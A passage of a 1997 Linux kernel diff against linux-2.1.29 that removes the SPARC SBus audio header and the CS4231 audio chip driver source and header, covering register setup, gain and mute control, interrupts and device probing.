unsigned int seq; /* Sequence number (per-aud_stream) */ - int type; /* device-dependent */ - struct timeval timestamp; - char _f[8]; /* filler */ -}; -#endif - - - -/* - * Linux kernel internal implementation. - */ - -#ifdef __KERNEL__ - -#include -#include -#include -#include - -#define SDF_OPEN_WRITE 0x00000001 -#define SDF_OPEN_READ 0x00000002 - -struct sparcaudio_driver -{ - const char * name; - struct sparcaudio_operations *ops; - void *private; - unsigned long flags; - - /* Processes blocked on open() sit here. */ - struct wait_queue *open_wait; - - /* Task queue for this driver's bottom half. */ - struct tq_struct tqueue; - - /* Support for a circular queue of output buffers. */ - __u8 **output_buffers; - size_t *output_sizes; - int num_output_buffers, output_front, output_rear; - int output_count, output_active; - struct wait_queue *output_write_wait, *output_drain_wait; -}; - -struct sparcaudio_operations -{ - int (*open)(struct inode *, struct file *, struct sparcaudio_driver *); - void (*release)(struct inode *, struct file *, struct sparcaudio_driver *); - int (*ioctl)(struct inode *, struct file *, unsigned int, unsigned long, - struct sparcaudio_driver *); - - /* Ask driver to begin playing a buffer. */ - void (*start_output)(struct sparcaudio_driver *, __u8 *, unsigned long); - - /* Ask driver to stop playing a buffer. */ - void (*stop_output)(struct sparcaudio_driver *); - - /* Ask driver to begin recording into a buffer. */ - void (*start_input)(struct sparcaudio_driver *, __u8 *, unsigned long); - - /* Ask driver to stop recording. */ - void (*stop_input)(struct sparcaudio_driver *); - - /* Return driver name/version to caller. (/dev/audio specific) */ - void (*sunaudio_getdev)(struct sparcaudio_driver *, audio_device_t *); -}; - -extern int register_sparcaudio_driver(struct sparcaudio_driver *); -extern int unregister_sparcaudio_driver(struct sparcaudio_driver *); -extern void sparcaudio_output_done(struct sparcaudio_driver *); -extern void sparcaudio_input_done(struct sparcaudio_driver *); -extern int sparcaudio_init(void); -extern int amd7930_init(void); -extern int cs4231_init(void); - -#endif - -#endif diff -u --recursive --new-file linux-2.1.29/drivers/sbus/audio/cs4231.c linux/drivers/sbus/audio/cs4231.c --- linux-2.1.29/drivers/sbus/audio/cs4231.c Sat May 10 18:17:46 1997 +++ linux/drivers/sbus/audio/cs4231.c Wed Dec 31 19:00:00 1969 @@ -1,755 +0,0 @@ -/* - * drivers/sbus/audio/cs4231.c - * - * Copyright (C) 1996 Thomas K. Dyas (tdyas@noc.rutgers.edu) - * Copyright (C) 1996 Derrick J Brashear (shadow@andrew.cmu.edu) - * - * This is the lowlevel driver for the CS4231 audio chip found on some - * sun4m machines. - */ - -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include - -#include "audio.h" -#include "cs4231.h" - -/* Stolen for now from compat.h */ -#ifndef MAX /* Usually found in . */ -#define MAX(_a,_b) ((_a)<(_b)?(_b):(_a)) -#endif -#ifndef MIN /* Usually found in . */ -#define MIN(_a,_b) ((_a)<(_b)?(_a):(_b)) -#endif - -#define MAX_DRIVERS 1 -static struct sparcaudio_driver drivers[MAX_DRIVERS]; -static int num_drivers; - -static int cs4231_playintr(struct sparcaudio_driver *drv); -static int cs4231_recintr(struct sparcaudio_driver *drv); -static void cs4231_output_muted(struct sparcaudio_driver *drv, unsigned int value); -static void cs4231_mute(struct sparcaudio_driver *drv); -static void cs4231_pollinput(struct sparcaudio_driver *drv); -static int cs4231_attach(struct sparcaudio_driver *drv, int node, - struct linux_sbus *sbus); - -#define CHIP_BUG udelay(100); cs4231_ready(drv); udelay(1000); - -/* Disable mode change, let chip auto-calibrate */ -static void cs4231_ready(struct sparcaudio_driver *drv) -{ - struct cs4231_chip *cs4231_chip = (struct cs4231_chip *)drv->private; - unsigned int x = 0; - - cs4231_chip->pioregs->iar = (u_char)IAR_AUTOCAL_END; - while (cs4231_chip->pioregs->iar == IAR_NOT_READY && x <= CS_TIMEOUT) { - x++; - } - - x = 0; - cs4231_chip->pioregs->iar = 0x0b; - while (cs4231_chip->pioregs->idr == AUTOCAL_IN_PROGRESS && x <= CS_TIMEOUT) { - x++; - } -} - -/* Audio interrupt handler. */ -static void cs4231_interrupt(int irq, void *dev_id, struct pt_regs *regs) -{ - struct sparcaudio_driver *drv = (struct sparcaudio_driver *)dev_id; - struct cs4231_chip *cs4231_chip = (struct cs4231_chip *)drv->private; - __u8 dummy; - int ic = 1; - - /* Clear the interrupt. */ - dummy = cs4231_chip->dmaregs.dmacsr; - cs4231_chip->dmaregs.dmacsr = dummy; - - /* now go through and figure out what gets to claim the interrupt */ - if (dummy & CS_PLAY_INT) { - if (dummy & CS_XINT_PNVA) { - /* recalculate number of samples */ - cs4231_playintr(drv); - } - ic = 0; - } - if (dummy & CS_CAPT_INT) { - if (dummy & CS_XINT_CNVA) { - /* recalculate number of samples */ - cs4231_recintr(drv); - } - ic = 0; - } - if ((dummy & CS_XINT_CEMP) - && (cs4231_chip->perchip_info.record.active == 0)) - { - ic = 0; - } - if ((dummy & CS_XINT_EMPT) && (cs4231_chip->perchip_info.play.active == 0)) { - cs4231_chip->dmaregs.dmacsr |= (CS_PPAUSE); - cs4231_chip->pioregs->iar = 0x9; - cs4231_chip->pioregs->idr &= PEN_DISABLE; - - cs4231_mute(drv); - - /* recalculate number of samples */ - /* cleanup DMA */ - ic = 0; - } - if (dummy & CS_GENL_INT) { - ic = 0; - } -} - -/* Set output mute */ -static void cs4231_output_muted(struct sparcaudio_driver *drv, unsigned int value) -{ - struct cs4231_chip *cs4231_chip = (struct cs4231_chip *)drv->private; - if (!value) { - cs4231_chip->pioregs->iar = 0x7; - cs4231_chip->pioregs->idr &= OUTCR_UNMUTE; - cs4231_chip->pioregs->iar = 0x6; - cs4231_chip->pioregs->idr &= OUTCR_UNMUTE; - cs4231_chip->perchip_info.output_muted = 0; - } else { - cs4231_chip->pioregs->iar = 0x7; - cs4231_chip->pioregs->idr |= OUTCR_MUTE; - cs4231_chip->pioregs->iar = 0x6; - cs4231_chip->pioregs->idr |= OUTCR_MUTE; - cs4231_chip->perchip_info.output_muted = 1; - } - return /*(cs4231_chip->perchip_info.output_muted)*/; -} - -/* Set chip "output" port */ -static unsigned int cs4231_out_port(struct sparcaudio_driver *drv, unsigned int value) -{ - struct cs4231_chip *cs4231_chip = (struct cs4231_chip *)drv->private; - unsigned int r = 0; - - /* You can have any combo you want. Just don't tell anyone. */ - - cs4231_chip->pioregs->iar = 0x1a; - cs4231_chip->pioregs->idr |= MONO_IOCR_MUTE; - cs4231_chip->pioregs->iar = 0x0a; - cs4231_chip->pioregs->idr |= PINCR_LINE_MUTE; - cs4231_chip->pioregs->idr |= PINCR_HDPH_MUTE; - - if (value & AUDIO_SPEAKER) { - cs4231_chip->pioregs->iar = 0x1a; - cs4231_chip->pioregs->idr &= ~MONO_IOCR_MUTE; - r |= AUDIO_SPEAKER; - } - - if (value & AUDIO_HEADPHONE) { - cs4231_chip->pioregs->iar = 0x0a; - cs4231_chip->pioregs->idr &= ~PINCR_HDPH_MUTE; - r |= AUDIO_HEADPHONE; - } - - if (value & AUDIO_LINE_OUT) { - cs4231_chip->pioregs->iar = 0x0a; - cs4231_chip->pioregs->idr &= ~PINCR_LINE_MUTE; - r |= AUDIO_LINE_OUT; - } - - return (r); -} - -/* Set chip "input" port */ -static unsigned int cs4231_in_port(struct sparcaudio_driver *drv, unsigned int value) -{ - struct cs4231_chip *cs4231_chip = (struct cs4231_chip *)drv->private; - unsigned int r = 0; - - /* The order of these seems to matter. Can't tell yet why. */ - if (value & AUDIO_INTERNAL_CD_IN) { - cs4231_chip->pioregs->iar = 0x1; - cs4231_chip->pioregs->idr = CDROM_ENABLE(cs4231_chip->pioregs->idr); - cs4231_chip->pioregs->iar = 0x0; - cs4231_chip->pioregs->idr = CDROM_ENABLE(cs4231_chip->pioregs->idr); - r = AUDIO_INTERNAL_CD_IN; - } - if ((value & AUDIO_LINE_IN)) { - cs4231_chip->pioregs->iar = 0x1; - cs4231_chip->pioregs->idr = LINE_ENABLE(cs4231_chip->pioregs->idr); - cs4231_chip->pioregs->iar = 0x0; - cs4231_chip->pioregs->idr = LINE_ENABLE(cs4231_chip->pioregs->idr); - r = AUDIO_LINE_IN; - } else if (value & AUDIO_MICROPHONE) { - cs4231_chip->pioregs->iar = 0x1; - cs4231_chip->pioregs->idr = MIC_ENABLE(cs4231_chip->pioregs->idr); - cs4231_chip->pioregs->iar = 0x0; - cs4231_chip->pioregs->idr = MIC_ENABLE(cs4231_chip->pioregs->idr); - r = AUDIO_MICROPHONE; - } - - return (r); -} - -/* Set chip "monitor" gain */ -static unsigned int cs4231_monitor_gain(struct sparcaudio_driver *drv, unsigned int value) -{ - struct cs4231_chip *cs4231_chip = (struct cs4231_chip *)drv->private; - int a = 0; - - a = CS4231_MON_MAX_ATEN - (value * (CS4231_MON_MAX_ATEN + 1) / (AUDIO_MAX_GAIN + 1)); - - cs4231_chip->pioregs->iar = 0x0d; - if (a >= CS4231_MON_MAX_ATEN) - cs4231_chip->pioregs->idr = LOOPB_OFF; - else - cs4231_chip->pioregs->idr = ((a << 2) | LOOPB_ON); - - if (value == AUDIO_MAX_GAIN) return AUDIO_MAX_GAIN; - - return ((CS4231_MAX_DEV_ATEN - a) * (AUDIO_MAX_GAIN + 1) / (CS4231_MAX_DEV_ATEN + 1)); -} - -/* Set chip record gain */ -static unsigned int cs4231_record_gain(struct sparcaudio_driver *drv, unsigned int value, unsigned char balance) -{ - struct cs4231_chip *cs4231_chip = (struct cs4231_chip *)drv->private; - unsigned int tmp = 0, r, l, ra, la; - unsigned char old_gain; - - r = l = value; - - if (balance < AUDIO_MID_BALANCE) { - r = MAX(0, (int)(value - ((AUDIO_MID_BALANCE - balance) << AUDIO_BALANCE_SHIFT))); - } else if (balance > AUDIO_MID_BALANCE) { - l = MAX(0, (int)(value - ((balance - AUDIO_MID_BALANCE) << AUDIO_BALANCE_SHIFT))); - } - - la = l * (CS4231_MAX_GAIN + 1) / (AUDIO_MAX_GAIN + 1); - ra = r * (CS4231_MAX_GAIN + 1) / (AUDIO_MAX_GAIN + 1); - - cs4231_chip->pioregs->iar = 0x0; - old_gain = cs4231_chip->pioregs->idr; - cs4231_chip->pioregs->idr = RECGAIN_SET(old_gain, la); - cs4231_chip->pioregs->iar = 0x1; - old_gain = cs4231_chip->pioregs->idr; - cs4231_chip->pioregs->idr = RECGAIN_SET(old_gain, ra); - - if (l == value) { - (l == 0) ? (tmp = 0) : (tmp = ((la + 1) * AUDIO_MAX_GAIN) / (CS4231_MAX_GAIN + 1)); - } else if (r == value) { - (r == 0) ? (tmp = 0) : (tmp = ((ra + 1) * AUDIO_MAX_GAIN) / (CS4231_MAX_GAIN + 1)); - } - return (tmp); -} - -/* Set chip play gain */ -static unsigned int cs4231_play_gain(struct sparcaudio_driver *drv, unsigned int value, unsigned char balance) -{ - struct cs4231_chip *cs4231_chip = (struct cs4231_chip *)drv->private; - unsigned int tmp = 0, r, l, ra, la; - unsigned char old_gain; - - r = l = value; - if (balance < AUDIO_MID_BALANCE) { - r = MAX(0, (int)(value - ((AUDIO_MID_BALANCE - balance) << AUDIO_BALANCE_SHIFT))); - } else if (balance > AUDIO_MID_BALANCE) { - l = MAX(0, (int)(value - ((balance - AUDIO_MID_BALANCE) << AUDIO_BALANCE_SHIFT))); - } - - if (l == 0) { - la = CS4231_MAX_DEV_ATEN; - } else { - la = CS4231_MAX_ATEN - (l * (CS4231_MAX_ATEN + 1) / (AUDIO_MAX_GAIN + 1)); - } - if (r == 0) { - ra = CS4231_MAX_DEV_ATEN; - } else { - ra = CS4231_MAX_ATEN - (r * (CS4231_MAX_ATEN + 1) / (AUDIO_MAX_GAIN + 1)); - } - - cs4231_chip->pioregs->iar = 0x6; - old_gain = cs4231_chip->pioregs->idr; - cs4231_chip->pioregs->idr = GAIN_SET(old_gain, la); - cs4231_chip->pioregs->iar = 0x7; - old_gain = cs4231_chip->pioregs->idr; - cs4231_chip->pioregs->idr = GAIN_SET(old_gain, ra); - - if ((value == 0) || (value == AUDIO_MAX_GAIN)) { - tmp = value; - } else { - if (l == value) { - tmp = ((CS4231_MAX_ATEN - la) * (AUDIO_MAX_GAIN + 1) / (CS4231_MAX_ATEN + 1)); - } else if (r == value) { - tmp = ((CS4231_MAX_ATEN - ra) * (AUDIO_MAX_GAIN + 1) / (CS4231_MAX_ATEN + 1)); - } - } - return (tmp); -} - -/* Reset the audio chip to a sane state. */ -static void cs4231_reset(struct sparcaudio_driver *drv) -{ - struct cs4231_chip *cs4231_chip = (struct cs4231_chip *)drv->private; - - cs4231_chip->dmaregs.dmacsr = CS_CHIP_RESET; - cs4231_chip->dmaregs.dmacsr = 0x00; - cs4231_chip->dmaregs.dmacsr |= CS_CDC_RESET; - - udelay(100); - - cs4231_chip->dmaregs.dmacsr &= ~(CS_CDC_RESET); - cs4231_chip->pioregs->iar |= IAR_AUTOCAL_BEGIN; - - CHIP_BUG - - cs4231_chip->pioregs->iar = IAR_AUTOCAL_BEGIN | 0x0c; - cs4231_chip->pioregs->idr = MISC_IR_MODE2; - cs4231_chip->pioregs->iar = IAR_AUTOCAL_BEGIN | 0x08; - cs4231_chip->pioregs->idr = DEFAULT_DATA_FMAT; /* Ulaw */ - - CHIP_BUG - - cs4231_chip->pioregs->iar = IAR_AUTOCAL_BEGIN | 0x1c; - cs4231_chip->pioregs->idr = DEFAULT_DATA_FMAT; /* Ulaw */ - - CHIP_BUG - - cs4231_chip->pioregs->iar = 0x19; - - /* see what we can turn on */ - if (cs4231_chip->pioregs->idr & CS4231A) - cs4231_chip->status |= CS_STATUS_REV_A; - else - cs4231_chip->status &= ~CS_STATUS_REV_A; - - cs4231_chip->pioregs->iar = IAR_AUTOCAL_BEGIN | 0x10; - cs4231_chip->pioregs->idr = OLB_ENABLE; - - cs4231_chip->pioregs->iar = IAR_AUTOCAL_BEGIN | 0x11; - if (cs4231_chip->status & CS_STATUS_REV_A) - cs4231_chip->pioregs->idr = (HPF_ON | XTALE_ON); - else - cs4231_chip->pioregs->idr = (HPF_ON); - - cs4231_chip->pioregs->iar = IAR_AUTOCAL_BEGIN | 0x1a; - cs4231_chip->pioregs->idr = 0x00; - - /* Now set things up for defaults */ - cs4231_chip->perchip_info.play.port = cs4231_out_port(drv, AUDIO_SPEAKER); - cs4231_chip->perchip_info.record.port = cs4231_in_port(drv, AUDIO_MICROPHONE); - cs4231_chip->perchip_info.play.gain = cs4231_play_gain(drv, CS4231_DEFAULT_PLAYGAIN, AUDIO_MID_BALANCE); - cs4231_chip->perchip_info.record.gain = cs4231_record_gain(drv, CS4231_DEFAULT_RECGAIN, AUDIO_MID_BALANCE); - cs4231_chip->perchip_info.monitor_gain = cs4231_monitor_gain(drv, LOOPB_OFF); - - cs4231_chip->pioregs->iar = (u_char)IAR_AUTOCAL_END; - - cs4231_ready(drv); - - cs4231_chip->pioregs->iar = IAR_AUTOCAL_BEGIN | 0x09; - cs4231_chip->pioregs->idr &= ACAL_DISABLE; - cs4231_chip->pioregs->iar = (u_char)IAR_AUTOCAL_END; - - cs4231_ready(drv); - - cs4231_output_muted(drv, 0); -} - -static void cs4231_mute(struct sparcaudio_driver *drv) -{ - struct cs4231_chip *cs4231_chip = (struct cs4231_chip *)drv->private; - - if (!(cs4231_chip->status & CS_STATUS_REV_A)) { - cs4231_chip->pioregs->iar = IAR_AUTOCAL_BEGIN; - udelay(100); - cs4231_chip->pioregs->iar = IAR_AUTOCAL_END; - CHIP_BUG - } -} - -/* Not yet useful */ -#if 0 -static int cs4231_len_to_sample(struct sparcaudio_driver *drv, int length, int direction) -{ - struct cs4231_chip *cs4231_chip = (struct cs4231_chip *)drv->private; - int sample; - - if (/* number of channels == 2*/0) { - sample = (length/2); - } else { - sample = length; - } - if (/*encoding == AUDIO_ENCODING_LINEAR*/0) { - sample = sample/2; - } - return (sample); -} -#endif - -static int cs4231_open(struct inode * inode, struct file * file, struct sparcaudio_driver *drv) -{ - struct cs4231_chip *cs4231_chip = (struct cs4231_chip *)drv->private; - - /* Set the default audio parameters. */ - - cs4231_chip->perchip_info.play.sample_rate = CS4231_RATE; - cs4231_chip->perchip_info.play.channels = CS4231_CHANNELS; - cs4231_chip->perchip_info.play.precision = CS4231_PRECISION; - cs4231_chip->perchip_info.play.encoding = AUDIO_ENCODING_ULAW; - - cs4231_chip->perchip_info.record.sample_rate = CS4231_RATE; - cs4231_chip->perchip_info.record.channels = CS4231_CHANNELS; - cs4231_chip->perchip_info.record.precision = CS4231_PRECISION; - cs4231_chip->perchip_info.record.encoding = AUDIO_ENCODING_ULAW; - - cs4231_ready(drv); - - cs4231_chip->status |= CS_STATUS_NEED_INIT; - - CHIP_BUG - - MOD_INC_USE_COUNT; - - return 0; -} - -static void cs4231_release(struct inode * inode, struct file * file, struct sparcaudio_driver *drv) -{ - /* zero out any info about what data we have as well */ - /* should insert init on close variable optionally calling cs4231_reset() */ - MOD_DEC_USE_COUNT; -} - -static int cs4231_playintr(struct sparcaudio_driver *drv) -{ - struct cs4231_chip *cs4231_chip = (struct cs4231_chip *)drv->private; - - /* Send the next byte of outgoing data. */ -#if 0 - if (cs4231_chip->output_ptr && cs4231_chip->output_count > 0) { - cs4231_chip->dmaregs.dmapnva = dma_handle; - cs4231_chip->dmaregs.dmapnc = length; - cs4231_chip->output_ptr++; - cs4231_chip->output_count--; - - /* Done with the buffer? Notify the midlevel driver. */ - if (cs4231_chip->output_count == 0) { - cs4231_chip->output_ptr = NULL; - cs4231_chip->output_count = 0; - sparcaudio_output_done(drv); - } - } -#endif -} - -static void cs4231_recmute(int fmt) -{ - switch (fmt) { - case AUDIO_ENCODING_LINEAR: - /* Insert 0x00 from "here" to end of data stream */ - break; - case AUDIO_ENCODING_ALAW: - /* Insert 0xd5 from "here" to end of data stream */ - break; - case AUDIO_ENCODING_ULAW: - /* Insert 0xff from "here" to end of data stream */ - break; - } -} - -static int cs4231_recintr(struct sparcaudio_driver *drv) -{ - struct cs4231_chip *cs4231_chip = (struct cs4231_chip *)drv->private; - - cs4231_recmute(cs4231_chip->perchip_info.record.encoding); - - if (cs4231_chip->perchip_info.record.active == 0) { - cs4231_pollinput(drv); - cs4231_chip->pioregs->iar = 0x9; - cs4231_chip->pioregs->idr &= CEN_DISABLE; - } - /* Read the next byte of incoming data. */ -#if 0 - if (cs4231_chip->input_ptr && cs4231_chip->input_count > 0) { - cs4231_chip->dmaregs.dmacnva = dma_handle; - cs4231_chip->dmaregs.dmacnc = length; - cs4231_chip->input_ptr++; - cs4231_chip->input_count--; - - /* Done with the buffer? Notify the midlevel driver. */ - if (cs4231_chip->input_count == 0) { - cs4231_chip->input_ptr = NULL; - cs4231_chip->input_count = 0; - sparcaudio_input_done(drv); - } - } -#endif -} - -static void cs4231_start_output(struct sparcaudio_driver *drv, __u8 * buffer, unsigned long count) -{ - struct cs4231_chip *cs4231_chip = (struct cs4231_chip *)drv->private; - - if (cs4231_chip->perchip_info.play.active || (cs4231_chip->perchip_info.play.pause)) - return; - - cs4231_ready(drv); - - if (cs4231_chip->status & CS_STATUS_NEED_INIT) - { - cs4231_chip->pioregs->iar = IAR_AUTOCAL_BEGIN | 0x08; - cs4231_chip->pioregs->idr = DEFAULT_DATA_FMAT; - cs4231_chip->pioregs->iar = IAR_AUTOCAL_BEGIN | 0x1c; - cs4231_chip->pioregs->idr = DEFAULT_DATA_FMAT; - - CHIP_BUG - - cs4231_chip->status &= ~CS_STATUS_NEED_INIT; - } - - if (!cs4231_chip->perchip_info.play.pause) - { - /* init dma foo here */ - cs4231_chip->dmaregs.dmacsr &= ~CS_XINT_PLAY; - cs4231_chip->dmaregs.dmacsr &= ~CS_PPAUSE; - if (cs4231_playintr(drv)) { - cs4231_chip->dmaregs.dmacsr |= CS_PLAY_SETUP; - cs4231_chip->pioregs->iar = 0x9; - cs4231_chip->pioregs->idr |= PEN_ENABLE; - } - } - cs4231_chip->perchip_info.play.active = 1; -} - -static void cs4231_stop_output(struct sparcaudio_driver *drv) -{ - struct cs4231_chip *cs4231_chip = (struct cs4231_chip *)drv->private; - - cs4231_chip->perchip_info.play.active = 0; - cs4231_chip->dmaregs.dmacsr |= (CS_PPAUSE); -} - -static void cs4231_pollinput(struct sparcaudio_driver *drv) -{ - struct cs4231_chip *cs4231_chip = (struct cs4231_chip *)drv->private; - int x = 0; - - while (!(cs4231_chip->dmaregs.dmacsr & CS_XINT_COVF) && x <= CS_TIMEOUT) { - x++; - } - cs4231_chip->dmaregs.dmacsr |= CS_XINT_CEMP; -} - -static void cs4231_start_input(struct sparcaudio_driver *drv, __u8 * buffer, unsigned long count) -{ - struct cs4231_chip *cs4231_chip = (struct cs4231_chip *)drv->private; - - if (cs4231_chip->perchip_info.record.active || (cs4231_chip->perchip_info.record.pause)) - return; - - cs4231_ready(drv); - - if (cs4231_chip->status & CS_STATUS_NEED_INIT) - { - cs4231_chip->pioregs->iar = IAR_AUTOCAL_BEGIN | 0x08; - cs4231_chip->pioregs->idr = DEFAULT_DATA_FMAT; - cs4231_chip->pioregs->iar = IAR_AUTOCAL_BEGIN | 0x1c; - cs4231_chip->pioregs->idr = DEFAULT_DATA_FMAT; - - CHIP_BUG - - cs4231_chip->status &= ~CS_STATUS_NEED_INIT; - } - - if (!cs4231_chip->perchip_info.record.pause) - { - /* init dma foo here */ - cs4231_chip->dmaregs.dmacsr &= ~CS_XINT_CAPT; - cs4231_chip->dmaregs.dmacsr &= ~CS_CPAUSE; - cs4231_recintr(drv); - cs4231_chip->dmaregs.dmacsr |= CS_CAPT_SETUP; - cs4231_chip->pioregs->iar = 0x9; - cs4231_chip->pioregs->idr |= CEN_ENABLE; - } - cs4231_chip->perchip_info.record.active = 1; -} - -static void cs4231_stop_input(struct sparcaudio_driver *drv) -{ - struct cs4231_chip *cs4231_chip = (struct cs4231_chip *)drv->private; - - cs4231_chip->perchip_info.record.active = 0; - cs4231_chip->dmaregs.dmacsr |= (CS_CPAUSE); - - cs4231_pollinput(drv); - - /* need adjust the end pointer, process the input, and clean up the dma */ - - cs4231_chip->pioregs->iar = 0x09; - cs4231_chip->pioregs->idr &= CEN_DISABLE; -} - -static void cs4231_audio_getdev(struct sparcaudio_driver *drv, - audio_device_t * audinfo) -{ - strncpy(audinfo->name, "cs4231", sizeof(audinfo->name) - 1); - strncpy(audinfo->version, "x", sizeof(audinfo->version) - 1); - strncpy(audinfo->config, "audio", sizeof(audinfo->config) - 1); -} - - -/* The ioctl handler should be expected to identify itself and handle loopback - mode */ -/* There will also be a handler for getinfo and setinfo */ - -static struct sparcaudio_operations cs4231_ops = { - cs4231_open, - cs4231_release, - NULL, /* cs4231_ioctl */ - cs4231_start_output, - cs4231_stop_output, - cs4231_start_input, - cs4231_stop_input, - cs4231_audio_getdev, -}; - -/* Probe for the cs4231 chip and then attach the driver. */ -#ifdef MODULE -int init_module(void) -#else -__initfunc(int cs4231_init(void)) -#endif -{ - struct linux_sbus *bus; - struct linux_sbus_device *sdev; - int cs4231_node; - - /* Find the PROM CS4231 node. */ - /* There's an easier way, and I should FIXME */ - cs4231_node = prom_getchild(prom_root_node); - cs4231_node = prom_searchsiblings(cs4231_node,"iommu"); - cs4231_node = prom_getchild(cs4231_node); - cs4231_node = prom_searchsiblings(cs4231_node,"sbus"); - cs4231_node = prom_getchild(cs4231_node); - cs4231_node = prom_searchsiblings(cs4231_node,"SUNW,CS4231"); - - if (cs4231_node && cs4231_attach(&drivers[0], cs4231_node, NULL) == 0) - num_drivers = 1; - else - num_drivers = 0; - - /* Probe each SBUS for cs4231 chips. */ - for_all_sbusdev(sdev,bus) { - if (!strcmp(sdev->prom_name, "SUNW,CS4231")) { - /* Don't go over the max number of drivers. */ - if (num_drivers >= MAX_DRIVERS) - continue; - - if (cs4231_attach(&drivers[num_drivers], - sdev->prom_node, sdev->my_bus) == 0) - num_drivers++; - } - } - - /* Only return success if we found some cs4231 chips. */ - return (num_drivers > 0) ? 0 : -EIO; -} - -/* Attach to an cs4231 chip given its PROM node. */ -static int cs4231_attach(struct sparcaudio_driver *drv, int node, - struct linux_sbus *sbus) -{ - struct linux_prom_registers regs; - struct linux_prom_irqs irq; - struct cs4231_chip *cs4231_chip; - int err; - - /* Allocate our private information structure. */ - drv->private = kmalloc(sizeof(struct cs4231_chip), GFP_KERNEL); - if (!drv->private) - return -ENOMEM; - - /* Point at the information structure and initialize it. */ - drv->ops = &cs4231_ops; - cs4231_chip = (struct cs4231_chip *)drv->private; -#if 0 - cs4231_chip->input_ptr = NULL; - cs4231_chip->input_count = 0; - cs4231_chip->output_ptr = NULL; - cs4231_chip->output_count = 0; -#endif - - /* Map the registers into memory. */ - prom_getproperty(node, "reg", (char *)®s, sizeof(regs)); - if (sbus) - prom_apply_sbus_ranges(sbus, ®s, 1); - cs4231_chip->regs_size = regs.reg_size; - cs4231_chip->pioregs = sparc_alloc_io(regs.phys_addr, 0, regs.reg_size, - "cs4231", regs.which_io, 0); - if (!cs4231_chip->pioregs) { - printk(KERN_ERR "cs4231: could not allocate registers\n"); - kfree(drv->private); - return -EIO; - } - - /* Reset the audio chip. */ - cs4231_reset(drv); - - /* Attach the interrupt handler to the audio interrupt. */ - prom_getproperty(node, "intr", (char *)&irq, sizeof(irq)); - cs4231_chip->irq = irq.pri; - request_irq(cs4231_chip->irq, cs4231_interrupt, SA_INTERRUPT, "cs4231", NULL); - enable_irq(cs4231_chip->irq); - - /* Register ourselves with the midlevel audio driver. */ - err = register_sparcaudio_driver(drv); - if (err < 0) { - printk(KERN_ERR "cs4231: unable to register\n"); - disable_irq(cs4231_chip->irq); - free_irq(cs4231_chip->irq, drv); - sparc_free_io(cs4231_chip->pioregs, cs4231_chip->regs_size); - kfree(drv->private); - return -EIO; - } - - /* Announce the hardware to the user. */ - printk(KERN_INFO "cs4231 at 0x%lx irq %d\n", - (unsigned long)cs4231_chip->pioregs, cs4231_chip->irq); - - /* Success! */ - return 0; -} - -#ifdef MODULE -/* Detach from an cs4231 chip given the device structure. */ -static void cs4231_detach(struct sparcaudio_driver *drv) -{ - struct cs4231_chip *info = (struct cs4231_chip *)drv->private; - - unregister_sparcaudio_driver(drv); - disable_irq(info->irq); - free_irq(info->irq, drv); - sparc_free_io(info->pioregs, info->regs_size); - kfree(drv->private); -} - -void cleanup_module(void) -{ - register int i; - - for (i = 0; i < num_drivers; i++) { - cs4231_detach(&drivers[i]); - num_drivers--; - } -} -#endif - diff -u --recursive --new-file linux-2.1.29/drivers/sbus/audio/cs4231.h linux/drivers/sbus/audio/cs4231.h --- linux-2.1.29/drivers/sbus/audio/cs4231.h Sat May 10 18:17:46 1997 +++ linux/drivers/sbus/audio/cs4231.h Wed Dec 31 19:00:00 1969 @@ -1,230 +0,0 @@ -/* - * drivers/sbus/audio/cs4231.h - * - * Copyright (C) 1996 Thomas K. Dyas (tdyas@noc.rutgers.edu) - * Copyright (C) 1997 Derrick J. Brashear (shadow@dementia.org) - */ - -#ifndef _CS4231_H_ -#define _CS4231_H_ - -#include - -struct cs4231_regs { - u_char iar; /* Index Address Register */ - u_char pad0[3]; - u_char idr; /* Indexed Data Register */ - u_char pad1[3]; - u_char statr; /* Status Register */ - u_char pad2[3]; - u_char piodr; /* PIO Data Register I/O */ - u_char pad3[3]; -}; - -struct cs4231_dma { - u_long dmacsr; /* APC CSR */ - u_long dmapad[3]; - u_long dmacva; /* Capture Virtual Address */ - u_long dmacc; /* Capture Count */ - u_long dmacnva; /* Capture Next Virtual Address */ - u_long dmacnc; /* Capture Next Count */ - u_long dmapva; /* Playback Virtual Address */ - u_long dmapc; /* Playback Count */ - u_long dmapnva; /* Playback Next Virtual Address */ - u_long dmapnc; /* Playback Next Count */ -}; - -struct cs4231_chip { - struct cs4231_regs *pioregs; - struct cs4231_dma dmaregs; - struct audio_info perchip_info; - int irq; - unsigned long regs_size; - - /* Keep track of various info */ - volatile unsigned int status; - - int dma; - int dma2; -}; - -/* Status bits */ -#define CS_STATUS_NEED_INIT 0x01 -#define CS_STATUS_INIT_ON_CLOSE 0x02 -#define CS_STATUS_REV_A 0x04 - -#define CS_TIMEOUT 9000000 - -#define GAIN_SET(var, gain) ((var & ~(0x3f)) | gain) -#define RECGAIN_SET(var, gain) ((var & ~(0x1f)) | gain) - -#define IAR_AUTOCAL_BEGIN 0x40 /* IAR_MCE */ -#define IAR_AUTOCAL_END ~(0x40) /* IAR_MCD */ -#define IAR_NOT_READY 0x80 /* 80h not ready CODEC state */ - -/* Each register assumed mode 1 and 2 unless noted */ - -/* 0 - Left Input Control */ -/* 1 - Right Input Control */ -#define MIC_ENABLE(var) ((var & 0x2f) | 0x80) -#define LINE_ENABLE(var) (var & 0x2f) -#define CDROM_ENABLE(var) ((var & 0x2f) | 0x40) -#define INPUTCR_AUX1 0x40 - -/* 2 - Left Aux 1 Input Control */ -/* 3 - Right Aux 1 Input Control */ -/* 4 - Left Aux 2 Input Control */ -/* 5 - Right Aux 2 Input Control */ - -/* 6 - Left Output Control */ -/* 7 - Right Output Control */ -#define OUTCR_MUTE 0x80 -#define OUTCR_UNMUTE ~0x80 - -/* 8 - Playback Data Format (Mode 2) */ -#define CHANGE_DFR(var, val) ((var & ~(0xF)) | val) -#define CHANGE_ENCODING(var, val) ((var & ~(0xe0)) | val) -#define DEFAULT_DATA_FMAT CS4231_DFR_ULAW -#define CS4231_DFR_8000 0x00 -#define CS4231_DFR_9600 0x0e -#define CS4231_DFR_11025 0x03 -#define CS4231_DFR_16000 0x02 -#define CS4231_DFR_18900 0x05 -#define CS4231_DFR_22050 0x07 -#define CS4231_DFR_32000 0x06 -#define CS4231_DFR_37800 0x09 -#define CS4231_DFR_44100 0x0b -#define CS4231_DFR_48000 0x0c -#define CS4231_DFR_LINEAR8 0x00 -#define CS4231_DFR_ULAW 0x20 -#define CS4231_DFR_ALAW 0x60 -#define CS4231_DFR_ADPCM 0xa0 